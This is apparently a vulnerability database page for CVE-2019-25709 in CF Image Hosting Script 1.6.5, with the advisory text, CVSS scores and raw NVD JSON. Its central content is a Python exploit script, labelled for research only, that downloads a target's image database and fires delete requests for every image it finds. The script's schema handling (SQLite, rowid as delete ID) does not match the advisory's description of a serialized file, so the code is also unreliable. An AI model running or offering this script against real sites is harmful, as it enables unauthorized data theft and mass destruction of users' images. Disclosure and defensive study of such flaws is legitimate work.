Security Vulnerability Report
中文
CVE-2019-25709 CVSS 9.8 CRITICAL

CVE-2019-25709

Published: 2026-04-12 13:16:34
Last Modified: 2026-04-23 20:22:37

Description

CF Image Hosting Script 1.6.5 allows unauthenticated attackers to download and decode the application database by accessing the imgdb.db file in the upload/data directory. Attackers can extract delete IDs stored in plaintext from the deserialized database and use them to delete all pictures via the d parameter.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:codefuture:image_hosting_script:1.6.5:*:*:*:*:*:*:* - VULNERABLE
CF Image Hosting Script 1.6.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sqlite3 import os def exploit(target_url): # Step 1: Download the database file db_url = f"{target_url}/upload/data/imgdb.db" print(f"[*] Attempting to download database from {db_url}...") try: response = requests.get(db_url) if response.status_code == 200: print("[+] Database downloaded successfully.") db_file = "imgdb.db" with open(db_file, 'wb') as f: f.write(response.content) else: print("[-] Failed to download database.") return except Exception as e: print(f"[-] Error during download: {e}") return # Step 2: Parse database and extract delete IDs print("[*] Parsing database to extract delete IDs...") delete_ids = [] try: conn = sqlite3.connect(db_file) cursor = conn.cursor() # Adjust table/column names based on actual database schema cursor.execute("SELECT rowid FROM images") rows = cursor.fetchall() for row in rows: delete_ids.append(row[0]) conn.close() except Exception as e: print(f"[-] Error parsing database: {e}") if os.path.exists(db_file): os.remove(db_file) return print(f"[+] Found {len(delete_ids)} delete IDs.") # Step 3: Delete images using extracted IDs print("[*] Sending delete requests...") for delete_id in delete_ids: delete_url = f"{target_url}/index.php?d={delete_id}" # Sending request to delete the image requests.get(delete_url) print(f"[+] Sent delete request for ID: {delete_id}") # Cleanup if os.path.exists(db_file): os.remove(db_file) print("[*] Exploitation completed.") if __name__ == "__main__": target = "http://example.com" # Replace with actual target exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25709", "sourceIdentifier": "[email protected]", "published": "2026-04-12T13:16:33.950", "lastModified": "2026-04-23T20:22:37.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CF Image Hosting Script 1.6.5 allows unauthenticated attackers to download and decode the application database by accessing the imgdb.db file in the upload/data directory. Attackers can extract delete IDs stored in plaintext from the deserialized database and use them to delete all pictures via the d parameter."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-552"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:codefuture:image_hosting_script:1.6.5:*:*:*:*:*:*:*", "matchCriteriaId": "2B9AB1CF-2F75-4C68-8293-BCA76D664C93"}]}]}], "references": [{"url": "http://forum.codefuture.co.uk/showthread.php?tid=73141", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://davidtavarez.github.io/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/46094", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/cf-image-hosting-script-unauthorized-database-access", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}